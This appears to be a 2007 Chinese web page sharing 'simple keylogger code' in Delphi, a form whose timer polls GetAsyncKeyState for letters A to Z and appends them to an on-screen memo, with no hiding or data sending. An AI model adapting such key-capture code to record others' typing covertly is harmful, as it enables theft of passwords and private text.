您的位置:首页 > 其它

键盘记录

2007-06-01 11:18 246 查看
键盘记录简单代码

 unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin
  for i:=65 To 90 do
  begin
    if (GetAsyncKeyState(i)=-32767) then
      if (i>=65) and (i<=90) then
        memo1.Text:=memo1.Text+Char(i);
  end;
end;

end.
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息